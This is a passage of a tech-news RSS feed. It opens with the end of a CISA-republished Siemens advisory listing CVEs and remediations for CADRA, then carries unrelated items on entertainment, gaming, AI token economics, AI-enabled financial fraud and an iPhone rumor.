<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2023-45853</a></h3>
<div class="csaf-accordion-content">
<p>MiniZip in zlib through 1.3 has an integer overflow and resultant heap-based buffer overflow in zipOpenNewFileInZip4_64 via a long filename, comment, or extra field. NOTE: MiniZip is not a supported part of the zlib product. NOTE: pyminizip through 0.2.6 is also vulnerable because it bundles an affected zlib version, and exposes the applicable MiniZip code through its compress API.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2023-45853">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens CADRA</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>CADRA &lt; V2511</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V2511 or later version</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/190.html">CWE-190 Integer Overflow or Wraparound</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>9.8</td>
<td>CRITICAL</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-10585</a></h3>
<div class="csaf-accordion-content">
<p>Type confusion in V8 in Google Chrome prior to 140.0.7339.185 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: High)</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-10585">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens CADRA</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>CADRA</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Block access to untrusted or external web content from sensitive systems</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/843.html">CWE-843 Access of Resource Using Incompatible Type ('Type Confusion')</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>8.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-13223</a></h3>
<div class="csaf-accordion-content">
<p>Type Confusion in V8 in Google Chrome prior to 142.0.7444.175 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: High)</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-13223">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens CADRA</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>CADRA</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Block access to untrusted or external web content from sensitive systems</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/843.html">CWE-843 Access of Resource Using Incompatible Type ('Type Confusion')</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>8.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-22184</a></h3>
<div class="csaf-accordion-content">
<p>zlib versions up to and including 1.3.1.2 include a global buffer overflow in the untgz utility located under contrib/untgz. The vulnerability is limited to the standalone demonstration utility and does not affect the core zlib compression library. The flaw occurs when a user executes the untgz command with an excessively long archive name supplied via the command line, leading to an out-of-bounds write in a fixed-size global buffer.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-22184">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens CADRA</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>CADRA</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/787.html">CWE-787 Out-of-bounds Write</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>0</td>
<td>NONE</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:N/A:N">CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:N/A:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
</div>
<hr>
<h2>Acknowledgments</h2>
<ul>
<li>Siemens ProductCERT reported these vulnerabilities to CISA.</li>
</ul>
<hr>
<h2>General Recommendations</h2>
<p>As a general security measure, Siemens strongly recommends to protect network access to devices with appropriate mechanisms. In order to operate the devices in a protected IT environment, Siemens recommends to configure the environment according to Siemens' operational guidelines for Industrial Security (Download: https://www.siemens.com/cert/operational-guidelines-industrial-security), and to follow the recommendations in the product manuals. Additional information on Industrial Security by Siemens can be found at: https://www.siemens.com/industrialsecurity</p>
<hr>
<h2>Additional Resources</h2>
<p>For further inquiries on security vulnerabilities in Siemens products and solutions, please contact the Siemens ProductCERT: https://www.siemens.com/cert/advisories</p>
<hr>
<h2>Terms of Use</h2>
<p>The use of Siemens Security Advisories is subject to the terms and conditions listed on: https://www.siemens.com/productcert/terms-of-use.</p>
<hr>
<h2>Legal Notice and Terms of Use</h2>
<p>This product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy &amp; Use policy (https://www.cisa.gov/privacy-policy).</p>
<hr>
<h2>Recommended Practices</h2>
<p>CISA recommends users take defensive measures to minimize the exploitation risk of this vulnerability.</p>
<p>Minimize network exposure for all control system devices and/or systems, and ensure they are not accessible from the internet.</p>
<p>Locate control system networks and remote devices behind firewalls and isolate them from business networks.</p>
<p>When remote access is required, use more secure methods, such as Virtual Private Networks (VPNs), recognizing VPNs may have vulnerabilities and should be updated to the most recent version available. Also recognize VPN is only as secure as its connected devices.</p>
<p>CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.</p>
<p>CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.</p>
<p>CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets. Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.</p>
<p>Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.</p>
<hr>
<h2>Advisory Conversion Disclaimer</h2>
<p>This ICSA is a verbatim republication of Siemens ProductCERT SSA-470355 from a direct conversion of the vendor's Common Security Advisory Framework (CSAF) advisory. This is republished to CISA's website as a means of increasing visibility and is provided "as-is" for informational purposes only. CISA is not responsible for the editorial or technical accuracy of republished advisories and provides no warranties of any kind regarding any information contained within this advisory. Further, CISA does not endorse any commercial product or service. Please contact Siemens ProductCERT directly for any questions regarding this advisory.</p>
<h2>Revision History</h2>
<ul>
<li><strong>Initial Release Date: </strong>2026-07-14</li>
</ul>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Date</th>
<th role="columnheader">Revision</th>
<th role="columnheader">Summary</th>
</tr>
</thead>
<tbody>
<tr>
<td>2026-07-14</td>
<td>1</td>
<td>Publication Date</td>
</tr>
<tr>
<td>2026-07-21</td>
<td>2</td>
<td>Initial CISA Republication of Siemens ProductCERT SSA-470355 advisory</td>
</tr>
</tbody>
</table>
<hr>
<h2>Legal Notice and Terms of Use</h2>]]></content:encoded>
</item>
<item>
<title><![CDATA[Little House on the Prairie season 3 and beyond would be a 'dream come true' for one Netflix star — and we can even guess season storylines way before they're renewed]]></title>
<description><![CDATA[With season 2 currently in production, Netflix has yet to make a call on Little House on the Prairie season 3 and beyond. But with so much source material, one star says it would be a 'dream come true'.]]></description>
<link>https://tsecurity.de/de/3684330/it-nachrichten/little-house-on-the-prairie-season-3-and-beyond-would-be-a-dream-come-true-for-one-netflix-star-and-we-can-even-guess-season-storylines-way-before-theyre-renewed/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684330/it-nachrichten/little-house-on-the-prairie-season-3-and-beyond-would-be-a-dream-come-true-for-one-netflix-star-and-we-can-even-guess-season-storylines-way-before-theyre-renewed/</guid>
<pubDate>Tue, 21 Jul 2026 18:17:51 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[With season 2 currently in production, Netflix has yet to make a call on Little House on the Prairie season 3 and beyond. But with so much source material, one star says it would be a 'dream come true'.]]></content:encoded>
</item>
<item>
<title><![CDATA[CoD Modern Warfare 4: Beta bleibt noch ohne Termin]]></title>
<description><![CDATA[Für Call of Duty: Modern Warfare 4 ist eine offene Beta geplant. Activision nennt auf der inzwischen freigeschalteten Informationsseite allerdings weder einen Zeitraum noch konkrete Spielinhalte. Bekannt sind bislang vor allem die Bedingungen für den Vorabzugang.]]></description>
<link>https://tsecurity.de/de/3684025/it-nachrichten/cod-modern-warfare-4-beta-bleibt-noch-ohne-termin/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684025/it-nachrichten/cod-modern-warfare-4-beta-bleibt-noch-ohne-termin/</guid>
<pubDate>Tue, 21 Jul 2026 16:32:37 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<img src="https://pics.computerbase.de/1/2/3/8/9/6-5317073322fa9ac0/article-640x360.3720e3ed.jpg"><p>Für Call of Duty: Modern Warfare 4 ist eine offene Beta geplant. Activision nennt auf der inzwischen freigeschalteten Informationsseite allerdings weder einen Zeitraum noch konkrete Spielinhalte. Bekannt sind bislang vor allem die Bedingungen für den Vorabzugang.</p>]]></content:encoded>
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<item>
<title><![CDATA[Nintendo keeps making shooters more friendly and approachable]]></title>
<description><![CDATA[Nintendo does a lot of weird things, but Splatoon might just be one of the strangest - or at least the boldest. The series started as an attempt to muscle into the ultra-competitive online shooter space, but in a way that feels a world away from the violence and bombast of Call of Duty or […]]]></description>
<link>https://tsecurity.de/de/3683866/it-nachrichten/nintendo-keeps-making-shooters-more-friendly-and-approachable/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683866/it-nachrichten/nintendo-keeps-making-shooters-more-friendly-and-approachable/</guid>
<pubDate>Tue, 21 Jul 2026 15:34:36 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Nintendo does a lot of weird things, but Splatoon might just be one of the strangest - or at least the boldest. The series started as an attempt to muscle into the ultra-competitive online shooter space, but in a way that feels a world away from the violence and bombast of Call of Duty or […]]]></content:encoded>
</item>
<item>
<title><![CDATA[The token debate: What CIOs can learn from the laws of thermodynamics]]></title>
<description><![CDATA[What if the next breakthrough in Enterprise AI doesn’t come from computer science alone?



What if it comes from applying principles that physicists have understood for more than a century?



According to Gartner, rising token-driven AI spend is straining budgets and challenging cost justificat...]]></description>
<link>https://tsecurity.de/de/3683604/it-nachrichten/the-token-debate-what-cios-can-learn-from-the-laws-of-thermodynamics/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683604/it-nachrichten/the-token-debate-what-cios-can-learn-from-the-laws-of-thermodynamics/</guid>
<pubDate>Tue, 21 Jul 2026 14:03:52 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">What if the next breakthrough in Enterprise AI doesn’t come from computer science alone?</p>



<p class="wp-block-paragraph">What if it comes from applying principles that physicists have understood for more than a century?</p>



<p class="wp-block-paragraph">According to <a href="https://www.gartner.com/en/newsroom/press-releases/2026-06-24-gartner-predicts-ai-coding-costs-will-surpass-average-developer-salary-by-2028-as-token-consumption-surges">Gartner</a>, rising token-driven AI spend is straining budgets and challenging cost justification. As organizations race to deploy generative AI and agentic systems, token consumption dominates nearly every executive discussion: How many tokens did we use? How much did inference cost? Can we reduce our AI bill?</p>



<p class="wp-block-paragraph">These are important operational questions. But they are not the strategic questions.</p>



<p class="wp-block-paragraph">I believe the economics of enterprise AI can be viewed through the lens of three well-established principles from thermodynamics: the conservation of energy, entropy, and exergy.</p>



<p class="wp-block-paragraph">While these principles describe physical systems — not AI —they offer a useful way to think about how organizations should measure AI success.</p>



<h2 class="wp-block-heading">Principle 1: Value is created through transformation</h2>



<p class="wp-block-paragraph"><a href="https://en.wikipedia.org/wiki/Laws_of_thermodynamics#First_law">The 1<sup>st</sup> Law of Thermodynamics</a> tells us that energy cannot be created or destroyed. It can only be transformed.</p>



<p class="wp-block-paragraph">Enterprise AI presents a similar management lesson: Tokens are not valuable because they are consumed; they become valuable only when they are transformed into business outcomes: A faster loan application decision. A better customer experience. Faster and more accurate software. Reduced fraud. Higher employee productivity. A new product. A strategic insight.</p>



<p class="wp-block-paragraph">The executive question therefore is not, “How many tokens did we consume?” It is: “How much business value did those tokens create?”</p>



<p class="wp-block-paragraph">This leads to a new executive metric: return on tokens (ROT).</p>



<p class="wp-block-paragraph">Just as organizations measure return on investment, they should begin measuring the business value generated for every million AI tokens consumed.</p>



<p class="wp-block-paragraph">The organizations that win will not necessarily consume fewer tokens. They will generate more value from every token they use.</p>



<h2 class="wp-block-heading">Principle 2: Every transformation creates waste</h2>



<p class="wp-block-paragraph"><a href="https://en.wikipedia.org/wiki/Laws_of_thermodynamics#Second_law">The 2nd Law of Thermodynamics</a> teaches us that every energy transformation introduces inefficiencies.</p>



<p class="wp-block-paragraph">Some energy inevitably becomes less useful for doing work.</p>



<p class="wp-block-paragraph">The same pattern appears in enterprise AI: Not every token contributes equally to business outcomes.</p>



<p class="wp-block-paragraph">Some are spent on:</p>



<ul class="wp-block-list">
<li>Repeated prompts</li>



<li>Oversized context windows</li>



<li>Redundant reasoning</li>



<li>Hallucinations requiring correction</li>



<li>Multiple agents performing the same work</li>



<li>Expensive models solving simple problems</li>
</ul>



<p class="wp-block-paragraph">Those tokens are not “lost.” They simply produce very little business value.</p>



<p class="wp-block-paragraph">I think of this as token entropy. Every enterprise deploying AI will experience it. The goal is not to eliminate token entropy completely — that would be unrealistic. The goal is to continuously identify it, measure it and reduce it. Because every unnecessary token represents an opportunity to improve both cost and business performance.</p>



<h2 class="wp-block-heading">Principle 3: Useful work matters more than energy consumed</h2>



<p class="wp-block-paragraph">Thermodynamics introduces another important idea: <a href="https://en.wikipedia.org/wiki/Exergy">Exergy</a>.</p>



<p class="wp-block-paragraph">Unlike energy, exergy measures how much energy can actually be converted into useful work. Two systems may consume the same amount of energy while producing dramatically different results.</p>



<p class="wp-block-paragraph">The same is true for enterprise AI.</p>



<p class="wp-block-paragraph">Imagine two companies each consuming one billion tokens. One produces meeting summaries. The other transforms claims operations, accelerates software delivery, detects fraud, improves customer retention, and creates new revenue opportunities. Both consumed the same number of tokens. Only one extracted significantly more business value.</p>



<p class="wp-block-paragraph">Borrowing this concept as a management analogy, I call this token exergy.</p>



<p class="wp-block-paragraph">Token exergy represents an organization’s ability to convert AI intelligence into meaningful business outcomes:</p>



<ul class="wp-block-list">
<li>High token exergy means AI is solving important business problems.</li>



<li>Low token exergy means AI is generating activity without creating proportional enterprise value.</li>
</ul>



<p class="wp-block-paragraph">The distinction matters, because activity is not the same as impact.</p>



<h2 class="wp-block-heading">A new responsibility for CIOs</h2>



<p class="wp-block-paragraph">For years, CIOs have monitored infrastructure: Cloud costs, storage, network utilization, GPU consumption.</p>



<p class="wp-block-paragraph">These metrics remain important, but they tell only part of the story.</p>



<p class="wp-block-paragraph"><a href="https://www.cio.com/article/4184596/tokenomics-in-enterprise-ai.html?utm=hybrid_search">Token usage needs to be measured, planned, optimized and governed with the same discipline as any other cloud resource.</a> This means that the next generation of CIO dashboards should answer different questions:</p>



<ul class="wp-block-list">
<li>What is our return on tokens?</li>



<li>Where is token entropy reducing our effectiveness?</li>



<li>How much token exergy are we generating?</li>



<li>Which AI initiatives produce the greatest business value?</li>



<li>Which use cases create the strongest competitive advantage?</li>
</ul>



<p class="wp-block-paragraph">These are no longer technology metrics. They are business metrics.</p>



<p class="wp-block-paragraph">The next generation of CIOs will not simply deploy AI. They will manage an economy of intelligence.</p>



<p class="wp-block-paragraph">Their role will resemble that of a portfolio manager — allocating AI capacity where it creates the greatest enterprise value, reducing waste and continuously improving the productivity of every autonomous workflow.</p>



<p class="wp-block-paragraph">That responsibility cannot be fulfilled by dashboards alone.</p>



<p class="wp-block-paragraph">It requires an intelligent layer capable of observing, learning and optimizing the entire AI  ecosystem. <a href="https://www.cio.com/article/4157977/micro-and-macro-agents-the-emerging-architecture-of-the-agentic-enterprise.html?utm=hybrid_search">Three-layer enterprise agentic architecture</a> Will enable this.</p>



<h2 class="wp-block-heading">The next competitive advantage</h2>



<p class="wp-block-paragraph">Every major technology revolution eventually shifts from measuring inputs to measuring outcomes:</p>



<ul class="wp-block-list">
<li>Factories stopped measuring coal consumption and began measuring productivity.</li>



<li>Cloud computing evolved beyond server utilization to business agility.</li>



<li>Digital businesses measured customer acquisition costs and lifetime value.</li>
</ul>



<p class="wp-block-paragraph">Enterprise AI is approaching the same inflection point. Organizations that focus only on token costs will optimize for efficiency. Organizations that measure return on tokens, minimize token entropy and maximize token exergy will optimize for business transformation.</p>



<p class="wp-block-paragraph">That is a fundamentally different objective. And I believe it will separate AI leaders from AI followers.</p>



<p class="wp-block-paragraph">Because in the end, the future of enterprise AI will not be determined by how many tokens an organization consumes. It will be determined by how effectively those tokens are transformed into lasting business value. <a href="https://www.cio.com/article/4183263/the-ai-adoption-spree-is-over-time-to-focus-on-value.html?utm=hybrid_search">The AI adoption spending spree is over. Time to focus on value.</a></p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[Asymmetric warfare in financial services: AI-powered fraud demands unified command]]></title>
<description><![CDATA[Military strategists know that asymmetric wars are lost not at the point of attack but at the seams between defensive units, where no single commander owns the territory and information moves slower than the threat. In January 2024, a finance employee at Arup’s Hong Kong office learned this lesso...]]></description>
<link>https://tsecurity.de/de/3683476/it-security-nachrichten/asymmetric-warfare-in-financial-services-ai-powered-fraud-demands-unified-command/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683476/it-security-nachrichten/asymmetric-warfare-in-financial-services-ai-powered-fraud-demands-unified-command/</guid>
<pubDate>Tue, 21 Jul 2026 13:08:50 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Military strategists know that asymmetric wars are lost not at the point of attack but at the seams between defensive units, where no single commander owns the territory and information moves slower than the threat. In January 2024, a finance employee at Arup’s Hong Kong office learned this lesson for $25 million, joining a video call with what appeared to be the engineering firm’s chief financial officer and several colleagues, receiving instructions to wire funds to a designated account, and complying. Every face on the screen was a deepfake, cloned from publicly available footage of the actual executives. The attackers conducted the entire meeting in real time and vanished before anyone in the organization realized the CFO had never logged on.</p>



<p class="wp-block-paragraph">The incident would be remarkable enough as a one-off, but it represents a pattern accelerating well beyond isolated cases. <a href="https://nilsonreport.com/articles/card-fraud-losses-worldwide-2024/">Global payment fraud reached $33.4 billion in 2024</a> according to the Nilson Report, and the US absorbed a disproportionate 42% of those losses despite processing only 25% of global card transactions. The latest FBI Internet Crime report identifies <a href="https://www.fbi.gov/news/press-releases/cryptocurrency-and-ai-scams-bilk-americans-of-billions">more than one million complaints and nearly $21 billion in cyber-enabled crime losses in 2025</a> (up from $16 million in 2023), while Deloitte projects <a href="https://www.deloitte.com/us/en/insights/industry/financial-services/deepfake-banking-fraud-risk-on-the-rise.html">AI-enabled fraud in the US will hit $40 billion by 2027</a>. This increasingly includes crypto-related fraud, not just credit card or traditional banking fraud.</p>



<p class="wp-block-paragraph">For anyone who oversees financial operations, risk or payment technology infrastructure, these numbers are not forecasts of a future “regional conflict.” Instead, they are the current cost of a war most institutions have not yet recognized they are fighting.</p>



<h2 class="wp-block-heading"><a></a>Reconnaissance at scale: How AI redraws the attacker’s map</h2>



<p class="wp-block-paragraph">The conventional narrative around AI-powered fraud emphasizes speed: Faster phishing, faster credential stuffing, faster social engineering. Jason Kikta, CTO of<a href="https://www.automox.com/"> Automox</a>, sees the shift differently. “The main threat from AI misuse isn’t faster execution, as automation has been leveraged for years,” Kikta says. “The true dangers are lower barriers to entry and faster adaptation, giving attackers the ability to pivot techniques in near real-time.”</p>



<p class="wp-block-paragraph">The distinction means that execution is a quantitative improvement, the kind existing defenses can absorb by scaling up. Lower barriers to entry and real-time adaptation are qualitative: A force multiplier that turns every amateur into an equipped operator with a coach that learns from each failed attempt. Deepfake-as-a-service platforms now produce voice clones from three seconds of audio. AI-driven vulnerability scanning maps an institution’s unpatched endpoints while the security team is still scheduling the review meeting. In 2024, 269 million stolen credit card records appeared on dark web platforms, giving AI-equipped attackers what military intelligence analysts would call an order of battle: A detailed map of the defender’s exposed positions, ready to be mined for patterns, tested against live systems and exploited at machine speed.</p>



<p class="wp-block-paragraph">The result is a combined arms threat, one that operates across domains simultaneously the way a competent military force coordinates air, ground and intelligence rather than running them as independent campaigns. The same AI that crafts a convincing business email compromise can probe unpatched point-of-sale systems to install digital skimmers. The same synthetic identity that opens a fraudulent credit card account can exploit a payment authorization vulnerability discovered through automated scanning. Card-not-present fraud now accounts for 71% of all US card fraud losses, and the attack surface keeps expanding as digital wallets and e-commerce push more transactions into channels where physical card verification is impossible.</p>



<p class="wp-block-paragraph">Attackers treat endpoint management gaps and transaction monitoring gaps as a single attack surface, while most defenders continue to patrol them as separate territories.</p>



<h2 class="wp-block-heading"><a></a>Fragmented command: The structural vulnerability AI exploits</h2>



<p class="wp-block-paragraph">Consider how most financial institutions, crypto platforms and digital asset intermediaries actually organize their defenses: A cybersecurity team focused on identity compromise, endpoint protection and infrastructure threats; a fraud team focused on account takeover, mule networks and scam typologies; an AML or financial crimes team focused on wallet screening, sanctions exposure and suspicious activity reporting; and an AI risk or digital trust team, if one exists at all, focused on synthetic media, model abuse and impersonation. Each function has its own tooling, budget, reporting line and intelligence feeds. In crypto markets, where value can move irreversibly across wallets, chains, mixers, exchanges and OTC brokers in minutes, those silos create exploitable gaps between detection, attribution, interdiction and recovery.</p>



<p class="wp-block-paragraph">A pig-butchering scam that begins on a dating app, migrates to WhatsApp, directs a victim to a fake crypto investment platform, and then launders proceeds through nested services and cross-chain bridges is not just a fraud event. It is also a cybersecurity event, a financial crimes event, an identity event, a platform abuse event and, increasingly, an AI-enabled social engineering event. Chainalysis reported that high-yield investment scams and pig-butchering schemes were among the most successful crypto scam types in 2024, while also noting growing use of AI in fraud and scams.</p>



<p class="wp-block-paragraph">Research published by the University of California, Davis found that these schemes follow a staged lifecycle: Trust-building, fabricated investment returns, escalating deposits, withdrawal obstruction and re-targeting of victims after the initial loss. When each part of that lifecycle is monitored by a different team, the institution sees fragments of the attack rather than the economic system of the crime.</p>



<p class="wp-block-paragraph">“Fraud no longer happens in isolated channels,” observes Jeff Li, Global Product &amp; Designer Lead at Binance. “AI-powered scams move seamlessly across platforms, and payment systems, making fragmented defenses increasingly ineffective.” He believes that the future of <a href="https://www.binance.com/en/blog/security/2953911729763975700">security depends on unified intelligence</a> — combining AI, real-time monitoring, secure infrastructure and cross-functional response mechanisms into a single coordinated defense system.<br><br>“We’ve invested heavily in AI-driven risk detection, real-time scam warnings and infrastructure to stay ahead of evolving threats, continues Li, claiming that from Q1 2025 to Q1 2026, these efforts helped Binance prevent over $10 billion in potential user losses and protected more than 5 million users globally. As AI continues to reshape both fraud and fraud prevention, the focus remains on building systems that can protect users, not just at scale, but in real time.</p>



<h2 class="wp-block-heading"><a></a>Unified command: From org chart to battle plan</h2>



<p class="wp-block-paragraph">Kikta’s assessment contains a contrarian detail worth teasing apart: “The good news is that a strong compliance program prioritizing depth of coverage and speed of enforcement will hold up against AI-enabled fraud,” he says. In a landscape saturated with predictions that existing defenses are obsolete, Kikta argues that the fundamentals of patch management, endpoint hygiene and compliance rigor still hold, provided the clock speed at which those fundamentals execute keeps pace with the adversary.</p>



<p class="wp-block-paragraph">That clock speed is the operational link between cybersecurity and card fraud prevention. An unpatched point-of-sale terminal or payment gateway exposed for 30 days represents 30 days of reconnaissance opportunity for an AI scanner probing for places to install a digital skimmer or intercept card data in transit. A compliance gap in identity verification is an open invitation for synthetic identities to open accounts and run fraudulent transactions. Endpoint management data and transaction monitoring data describe the same attack surface from different angles, and fusing those streams into a single operational picture, the financial equivalent of a military intelligence fusion center, gives defenders something the current siloed structure cannot: Visibility into an attack developing across domains before it reaches the payment layer.</p>



<p class="wp-block-paragraph">The value of that convergence extends beyond defense. A unified data layer across cyber, fraud and payments creates consolidated threat intelligence that can inform underwriting decisions, merchant risk scoring and product design. Organizations that treat converged security data as a business intelligence asset (not merely an operational feed) will find they have built something with commercial utility well beyond the security operations center.</p>



<p class="wp-block-paragraph">Mascaro frames the prescription in terms that belong in a boardroom, not a SOC. “The real competitive advantage in fraud isn’t your AI stack,” he says. “It’s leadership’s clarity to unify risk disciplines that everyone else keeps in separate departments.”</p>



<h2 class="wp-block-heading"><a></a>Field manual: What winning institutions do differently</h2>



<p class="wp-block-paragraph">The institutions gaining ground in this new form of asymmetric conflict share a common operational posture: They treat endpoint management as card fraud prevention rather than IT maintenance, and they feed cyber, fraud and payments intelligence into a single picture rather than three separate briefings. The defensive AI advantage, such as it is, comes from that integration, not from any single model’s sophistication.</p>



<p class="wp-block-paragraph">Adversaries have already unified their operations. Yet, payment processors and financial institutions that keep running separate campaigns on separate fronts, with separate intelligence, will keep conducting after-action reviews of battles they have already lost.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[iPhone 20 Pro Max may get Apple's largest ever iPhone screen at 7 inches]]></title>
<description><![CDATA[A new rumor claims that Apple is considering using what it will call a 7-inch screen for one of the 20th anniversary iPhones, although that isn't as great an increase as it sounds.The display on the current iPhone 17 Pro Max is 6.86 inches.One recent rumor claimed that Apple had begun production ...]]></description>
<link>https://tsecurity.de/de/3683281/ios-mac-os/iphone-20-pro-max-may-get-apples-largest-ever-iphone-screen-at-7-inches/</link>
